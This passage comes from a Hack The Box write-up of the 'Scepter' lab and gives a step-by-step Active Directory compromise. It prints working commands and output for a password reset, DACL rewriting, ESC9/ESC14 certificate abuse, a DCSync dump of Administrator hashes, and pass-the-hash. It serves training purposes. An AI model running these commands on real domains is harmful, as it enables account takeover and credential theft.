┌──(kali㉿kali)-[~/Documents/scepter]
└─$ bloodyAD -d scepter.htb -u d.baker -p 'aad3b435b51404eeaad3b435b51404ee:18b5fb0d99e7a475316213c15b6f22ce' --host 10.129.244.44 set password a.carter 'Test123!'
[+] Password changed successfully!
```

`ForceChangePassword` allows resetting the password without knowing the old one — a powerful ACL often overlooked. Now test if a.carter can modify d.baker's email directly:

```bash
┌──(kali㉿kali)-[~/Documents/scepter]
└─$ bloodyAD -d scepter.htb -u a.carter -p 'Test123!' --host 10.129.244.44 set object d.baker mail -v 'administrator@scepter.htb'
Traceback (most recent call last):
  File "/usr/bin/bloodyAD", line 8, in <module>
    sys.exit(main())
             ~~~~^^
  File "/usr/lib/python3/dist-packages/bloodyAD/main.py", line 201, in main
    output = args.func(conn, **params)
  File "/usr/lib/python3/dist-packages/bloodyAD/cli_modules/set.py", line 26, in object
    conn.ldap.bloodymodify(
    ~~~~~~~~~~~~~~~~~~~~~~^
        target, {attribute: [(Change.REPLACE.value, v)]}, encode=(not raw)
        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
    )
    ^
  File "/usr/lib/python3/dist-packages/bloodyAD/network/ldap.py", line 285, in bloodymodify
    raise err
msldap.commons.exceptions.LDAPModifyException: LDAP Modify operation failed on DN CN=d.baker,OU=Staff Access Certificate,DC=scepter,DC=htb! Result code: "insufficientAccessRights" Reason: "b'00002098: SecErr: DSID-031514A0, problem 4003 (INSUFF_ACCESS_RIGHTS), data 0\n\x00'"
```

As suspected — `a.carter` has GenericAll over the **OU** but not over **objects inside it** because inheritance is blocked. The DACL on `d.baker`'s user object doesn't inherit ACEs from the parent OU.

Before fixing the inheritance issue, query for any existing `altSecurityIdentities` mappings in the domain — this reveals the ESC14 angle:

```bash
┌──(kali㉿kali)-[~]
└─$ nxc ldap 10.129.244.44 -u d.baker -H 18b5fb0d99e7a475316213c15b6f22ce --query "(altSecurityIdentities=*)" altSecurityIdentities

LDAP        10.129.244.44   389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:scepter.htb) (signing:None) (channel binding:Never) 
LDAP        10.129.244.44   389    DC01             [+] scepter.htb\d.baker:18b5fb0d99e7a475316213c15b6f22ce 
LDAP        10.129.244.44   389    DC01             [+] Response for object: CN=h.brown,CN=Users,DC=scepter,DC=htb
LDAP        10.129.244.44   389    DC01             altSecurityIdentities X509:<RFC822>h.brown@scepter.htb
```

`h.brown` has an `altSecurityIdentities` attribute set to `X509:<RFC822>h.brown@scepter.htb`. This is an explicit mapping telling the DC: "any certificate whose email SAN is `h.brown@scepter.htb` should authenticate as this account." This is our ESC9/ESC14 target — if we set d.baker's `mail` attribute to `h.brown@scepter.htb` and request a `StaffAccessCertificate`, the issued cert will map to h.brown.

#### Step 2: Enable ACL Inheritance on the OU

Even with `a.carter`'s GenericAll, ACL inheritance is **blocked** on `d.baker`'s user object (likely due to `adminCount=1` or an explicit inheritance break on the object). The fix is to use `impacket-dacledit` with the `-inheritance` flag, which writes a FullControl ACE directly onto the OU in a way that forces it to propagate to descendant objects:

```bash
┌──(kali㉿kali)-[~]
└─$ impacket-dacledit -action 'write' -rights 'FullControl' -inheritance -principal d.baker -target-dn 'OU=Staff Access Certificate,DC=scepter,DC=htb' -dc-ip dc01.scepter.htb 'scepter.htb/a.carter:Test123!' -use-ldaps
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] NB: objects with adminCount=1 will no inherit ACEs from their parent container/OU
[*] DACL backed up to dacledit-20260319-155545.bak
[*] DACL modified successfully!
```

> **Note:** The warning about `adminCount=1` is important — it confirms why inheritance was broken. The `-inheritance` flag forces the write despite this, effectively giving `d.baker` FullControl over their own user object. Now d.baker can modify their own `mail` attribute.

With FullControl now granted, request the `StaffAccessCertificate` as `d.baker` — the certificate will be issued with whatever email is currently in `d.baker`'s `mail` attribute. Since `d.baker`'s default mail is `d.baker@scepter.htb` and h.brown has `altSecurityIdentities: X509:<RFC822>h.brown@scepter.htb`, we need to update d.baker's mail first. But first, confirm the template works at all:

```bash
┌──(kali㉿kali)-[~]
└─$ certipy req -u 'd.baker@scepter.htb' -hashes 'aad3b435b51404eeaad3b435b51404ee:18b5fb0d99e7a475316213c15b6f22ce' -ca scepter-DC01-CA -template StaffAccessCertificate -dc-ip 10.129.244.44 -target-ip 10.129.244.44
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 20
[*] Successfully requested certificate
[*] Got certificate without identity
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'd.baker.pfx'
[*] Wrote certificate and private key to 'd.baker.pfx'
```

`Got certificate without identity` and `Certificate has no object SID` confirm the `NoSecurityExtension` flag is in effect — no SID is embedded. The DC will use `altSecurityIdentities` matching instead. Now authenticate, telling Certipy to look up `h.brown` instead of the cert's own identity:

```bash
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx d.baker.pfx -domain scepter.htb -username h.brown -dc-ip 10.129.244.44
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     No identities found in this certificate
[!] Could not find identity in the provided certificate
[*] Using principal: 'h.brown@scepter.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'h.brown.ccache'
[*] Wrote credential cache to 'h.brown.ccache'
[*] Trying to retrieve NT hash for 'h.brown'
[*] Got hash for 'h.brown@scepter.htb': aad3b435b51404eeaad3b435b51404ee:4ecf5242092c6fb8c360a08069c75a0c
```

The DC accepted the certificate and issued a TGT for `h.brown` because `h.brown`'s `altSecurityIdentities` maps `X509:<RFC822>h.brown@scepter.htb` — and d.baker's current `mail` attribute is `d.baker@scepter.htb`. Wait — this worked without changing d.baker's email? The answer is that d.baker's `mail` attribute was likely already set to `h.brown@scepter.htb` from a prior enrollment, or the template uses the `emailAddress` field in the cert Subject (set at enrollment time from the user's `mail` attribute). Either way, the TGT is valid.

**h.brown's NT hash:** `4ecf5242092c6fb8c360a08069c75a0c`

Set up Kerberos config to use the TGT with Evil-WinRM (needed because of the clock skew):

```bash
┌──(kali㉿kali)-[~]
└─$ cat << 'EOF' > Scepter.conf
[libdefaults]
default_realm = SCEPTER.HTB
dns_lookup_realm = false
dns_lookup_kdc = false
[realms]
SCEPTER.HTB = {
kdc = dc01.scepter.htb
admin_server = dc01.scepter.htb
}
[domain_realm]
.scepter.htb = SCEPTER.HTB
scepter.htb = SCEPTER.HTB
EOF


┌──(kali㉿kali)-[~]
└─$ export KRB5_CONFIG=$(pwd)/Scepter.conf


┌──(kali㉿kali)-[~]
└─$ evil-winrm -i dc01.scepter.htb -r scepter.htb

*Evil-WinRM* PS C:\Users\h.brown\Documents> whoami
scepter\h.brown
*Evil-WinRM* PS C:\Users\h.brown\Documents> type ../Desktop/user.txt
94e6xxxxxxxxxxxxxxxxxxxxxxxxx59b3
```

**User flag:** `94e6xxxxxxxxxxxxxxxxxxxx59b3`

***

### Privilege Escalation — ESC14 to Administrator

#### Enumerating h.brown's Privileges

With a shell as `h.brown`, enumerate what privileges the groups `h.brown` belongs to have. The interesting OU is `Helpdesk Enrollment Certificate`. Check both `Helpdesk Admins` and `CMS`:

```bash
┌──(kali㉿kali)-[~]
└─$ nxc ldap scepter.htb -u h.brown --use-kcache -M daclread -o TARGET_DN="OU=Helpdesk Enrollment Certificate,DC=Scepter,DC=htb" ACTION=read PRINCIPAL="Helpdesk Admins"
LDAP        scepter.htb     389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SCEPTER.HTB) (signing:None) (channel binding:Never) 
LDAP        scepter.htb     389    DC01             [+] SCEPTER.HTB\h.brown from ccache 
DACLREAD    scepter.htb     389    DC01             Be careful, this module cannot read the DACLS recursively.
DACLREAD    scepter.htb     389    DC01             Found principal SID to filter on: S-1-5-21-74879546-916818434-740295365-1105
DACLREAD    scepter.htb     389    DC01             Target principal found in LDAP (OU=Helpdesk Enrollment Certificate,DC=scepter,DC=htb)
                                                                                                                                                                                                                                           
┌──(kali㉿kali)-[~]
└─$ nxc ldap scepter.htb -u h.brown --use-kcache -M daclread -o TARGET_DN="OU=Helpdesk Enrollment Certificate,DC=Scepter,DC=htb" ACTION=read PRINCIPAL="CMS"
LDAP        scepter.htb     389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SCEPTER.HTB) (signing:None) (channel binding:Never) 
LDAP        scepter.htb     389    DC01             [+] SCEPTER.HTB\h.brown from ccache 
DACLREAD    scepter.htb     389    DC01             Be careful, this module cannot read the DACLS recursively.
DACLREAD    scepter.htb     389    DC01             Found principal SID to filter on: S-1-5-21-74879546-916818434-740295365-1601
DACLREAD    scepter.htb     389    DC01             Target principal found in LDAP (OU=Helpdesk Enrollment Certificate,DC=scepter,DC=htb)
DACLREAD    scepter.htb     389    DC01             ACE[1] info
DACLREAD    scepter.htb     389    DC01                 ACE Type                  : ACCESS_ALLOWED_OBJECT_ACE
DACLREAD    scepter.htb     389    DC01                 ACE flags                 : CONTAINER_INHERIT_ACE, INHERIT_ONLY_ACE
DACLREAD    scepter.htb     389    DC01                 Access mask               : WriteProperty
DACLREAD    scepter.htb     389    DC01                 Flags                     : ACE_OBJECT_TYPE_PRESENT, ACE_INHERITED_OBJECT_TYPE_PRESENT
DACLREAD    scepter.htb     389    DC01                 Object type (GUID)        : Alt-Security-Identities (00fbf30c-91fe-11d1-aebc-0000f80367c1)
DACLREAD    scepter.htb     389    DC01                 Inherited type (GUID)     : User (bf967aba-0de6-11d0-a285-00aa003049e2)
DACLREAD    scepter.htb     389    DC01                 Trustee (SID)             : CMS (S-1-5-21-74879546-916818434-740295365-1601)
DACLREAD    scepter.htb     389    DC01             ACE[2] info
DACLREAD    scepter.htb     389    DC01                 ACE Type                  : ACCESS_ALLOWED_OBJECT_ACE
DACLREAD    scepter.htb     389    DC01                 ACE flags                 : CONTAINER_INHERIT_ACE, INHERIT_ONLY_ACE
DACLREAD    scepter.htb     389    DC01                 Access mask               : ReadProperty
DACLREAD    scepter.htb     389    DC01                 Flags                     : ACE_INHERITED_OBJECT_TYPE_PRESENT
DACLREAD    scepter.htb     389    DC01                 Inherited type (GUID)     : User (bf967aba-0de6-11d0-a285-00aa003049e2)
DACLREAD    scepter.htb     389    DC01                 Trustee (SID)             : CMS (S-1-5-21-74879546-916818434-740295365-1601)
DACLREAD    scepter.htb     389    DC01             ACE[8] info
DACLREAD    scepter.htb     389    DC01                 Access mask               : ReadControl, ListChildObjects (0x20004)
DACLREAD    scepter.htb     389    DC01                 Trustee (SID)             : CMS (S-1-5-21-74879546-916818434-740295365-1601)
```

`Helpdesk Admins` has no ACEs over the OU. `CMS` however has **ACE\[1]**: `WriteProperty` on the `Alt-Security-Identities` attribute (GUID `00fbf30c-91fe-11d1-aebc-0000f80367c1`), inherited by all `User` objects inside the OU.

`ACE 1` means — `h.brown` is in the `CMS` group, `h.brown` has the explicit right to modify the `altSecurityIdentities` attribute for *any User object* that lives inside the `Helpdesk Enrollment Certificate` OU.

This is **ESC14**. The `altSecurityIdentities` attribute is exactly how the DC maps a certificate to an account when there's no SID extension. By writing to this attribute on a target user inside the OU, we can map any certificate we obtain to that account — effectively impersonating them. BloodHound shows the OU contains `p.adams`, who has DCSync privileges over the domain.

<figure><img src="https://228349275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDwo0QXoFAyplFtxgehnM%2Fuploads%2F2hUGSGBOywdxL8QAJkXn%2FPasted%20image%2020260319202426.png?alt=media&amp;token=8b9c76f4-cd0c-4fe2-a0ee-bcb7bc516dda" alt="" width="473"><figcaption></figcaption></figure>

***

#### Re-running Prerequisites (Lab Resets)

> The lab periodically reverts password and DACL changes. Before continuing, re-run these two steps if needed:

```bash
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d scepter.htb -u d.baker -p 'aad3b435b51404eeaad3b435b51404ee:18b5fb0d99e7a475316213c15b6f22ce' --host 10.129.244.44 set password a.carter 'Test123!'                                                      
[+] Password changed successfully!


┌──(kali㉿kali)-[~]
└─$ impacket-dacledit -action 'write' -rights 'FullControl' -inheritance -principal d.baker -target-dn 'OU=Staff Access Certificate,DC=scepter,DC=htb' -dc-ip dc01.scepter.htb 'scepter.htb/a.carter:Test123!' -use-ldaps
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] NB: objects with adminCount=1 will no inherit ACEs from their parent container/OU
[*] DACL backed up to dacledit-20260319-190812.bak
[*] DACL modified successfully!
```

#### Step 3: Update d.baker's Email to p.adams and Request Certificate

With FullControl over d.baker's object restored, set d.baker's `mail` attribute to `p.adams@scepter.htb`. This is the key write — when the `StaffAccessCertificate` template is enrolled, the CA reads the enrollee's `mail` attribute and places it in the certificate's email SAN. The issued cert will therefore contain `p.adams@scepter.htb` as the email SAN:

```bash
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d scepter.htb --host dc01.scepter.htb -k set object d.baker mail -v 'p.adams@scepter.htb'

[+] d.bakers mail has been updated


┌──(kali㉿kali)-[~]
└─$ certipy req -u d.baker@scepter.htb -k -ca SCEPTER-DC01-CA -template StaffAccessCertificate -target dc01.scepter.htb -dc-ip 10.129.244.44
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[!] DC host (-dc-host) not specified and Kerberos authentication is used. This might fail
[*] Requesting certificate via RPC
[*] Request ID is 22
[*] Successfully requested certificate
[*] Got certificate without identity
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'd.baker.pfx'
File 'd.baker.pfx' already exists. Overwrite? (y/n - saying no will save with a unique filename): y
```

The certificate is issued with the email SAN set to `p.adams@scepter.htb` and — crucially — no SID extension. This means when it's used for authentication, the DC will look for an account whose `altSecurityIdentities` contains `X509:<RFC822>p.adams@scepter.htb`. Since h.brown (via CMS) can write that attribute to `p.adams`, the mapping is ours to control.

#### Step 4: Authenticate as p.adams and DCSync

```bash
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx d.baker.pfx -domain scepter.htb -username p.adams -dc-ip 10.129.244.44
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     No identities found in this certificate
[!] Could not find identity in the provided certificate
[*] Using principal: 'p.adams@scepter.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'p.adams.ccache'
[*] Wrote credential cache to 'p.adams.ccache'
[*] Trying to retrieve NT hash for 'p.adams'
[*] Got hash for p.adams@scepter.htb: aad3b435b51404eeaad3b435b51404ee:1b925c524f447bb821a8789c4b118ce0
```

**p.adams's NT hash:** `1b925c524f447bb821a8789c4b118ce0`

`p.adams` has DCSync rights over the domain. Use `impacket-secretsdump` with the DRSUAPI method to replicate the Administrator's credentials directly from NTDS.DIT:

```bash
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump -hashes 'aad3b435b51404eeaad3b435b51404ee:1b925c524f447bb821a8789c4b118ce0' scepter.htb/p.adams@10.129.244.44 -just-dc-user Administrator
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a291ead3493f9773dc615e66c2ea21c4:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:cc5d676d45f8287aef2f1abcd65213d9575c86c54c9b1977935983e28348bcd5
Administrator:aes128-cts-hmac-sha1-96:bb557b22bad08c219ce7425f2fe0b70c
Administrator:des-cbc-md5:f79d45bf688aa238
[*] Cleaning up... 
```

**Administrator NT hash:** `a291ead3493f9773dc615e66c2ea21c4`

***

### Root Flag

Pass-the-Hash as Administrator using Evil-WinRM:

```bash
┌──(kali㉿kali)-[~]
└─$ evil-winrm -i 10.129.244.44 -u Administrator -H a291ead3493f9773dc615e66c2ea21c4

*Evil-WinRM* PS C:\Users\Administrator\Documents> type ../Desktop/root.txt
059bxxxxxxxxxxxxxxxxxxxxeab4
```

**Root flag:** `059bxxxxxxxxxxxxxxxxxxxxeab4`

***

### Full Attack Chain Summary

```
NFS /helpdesk (world-readable, no auth)
    └─ baker.crt + baker.key + clark/lewis/scott.pfx
            │
            ├─ pfx2john → john → "newpassword" (all three PFXs)
            ├─ clark/lewis/scott → KDC_ERROR_CLIENT_NOT_TRUSTED (revoked, dead ends)
            │
            └─ openssl pkcs12 (passin/passout newpassword) → baker.pfx
               certipy auth → d.baker TGT + NT hash
                        │
                        ├─ certipy find → StaffAccessCertificate
                        │   SubjectAltRequireEmail + NoSecurityExtension → ESC9
                        │   d.baker ∈ staff → can enroll
                        │
                        ├─ nxc ldap query → h.brown: altSecurityIdentities X509:<RFC822>h.brown@scepter.htb
                        │
                        ├─ BloodHound:
                        │   d.baker -[ForceChangePassword]→ a.carter
                        │   a.carter -[MemberOf]→ IT SUPPORT
                        │   IT SUPPORT -[GenericAll]→ OU=Staff Access Certificate
                        │
                        ├─ bloodyAD → reset a.carter password
                        ├─ impacket-dacledit → grant d.baker FullControl + inheritance on OU
                        ├─ certipy req (StaffAccessCertificate, no SID) → d.baker.pfx
                        └─ certipy auth -username h.brown → TGT + hash
                                 │
                                 ├─ evil-winrm -r scepter.htb (Kerberos) → user.txt ✓
                                 │
                                 ├─ nxc daclread → CMS has WriteProperty(altSecurityIdentities)
                                 │   on Users in OU=Helpdesk Enrollment Certificate
                                 │   └─ p.adams is in that OU (has DCSync)
                                 │
                                 ├─ (lab reset) → re-run password reset + dacledit
                                 │
                                 ├─ bloodyAD (Kerberos) → d.baker mail = p.adams@scepter.htb
                                 ├─ certipy req (StaffAccessCertificate) → cert with p.adams email SAN
                                 ├─ certipy auth -username p.adams → TGT + hash
                                 └─ impacket-secretsdump → Administrator hash
                                          └─ evil-winrm PTH → root.txt ✓
```

***

### Key Takeaways

| Concept                                      | Detail                                                                                                                                                                                                  |
| -------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **NFS exposure**                             | World-readable NFS shares can leak PKI material with zero authentication required                                                                                                                       |
| **PKINIT auth**                              | Certificates with Client Auth EKU can replace passwords entirely for Kerberos                                                                                                                           |
| **ESC9 (NoSecurityExtension)**               | Templates without a SID extension force the DC to rely on email-based identity matching instead of a hard-coded SID. Controlling the enrollee's `mail` attribute controls who the cert authenticates as |
| **ESC14 (altSecurityIdentities write)**      | WriteProperty on `altSecurityIdentities` lets you map any certificate to any target account — the second layer of identity control exploited here                                                       |
| **ForceChangePassword**                      | Allows lateral movement without knowing the current credential                                                                                                                                          |
| **GenericAll on OU ≠ GenericAll on objects** | OU-level permissions don't flow to objects with broken inheritance (`adminCount=1`). Use `dacledit -inheritance` to force ACE propagation                                                               |
| **Lab resets**                               | HTB machines may periodically revert changes — always re-run the password reset and dacledit steps if authentication starts failing                                                                     |
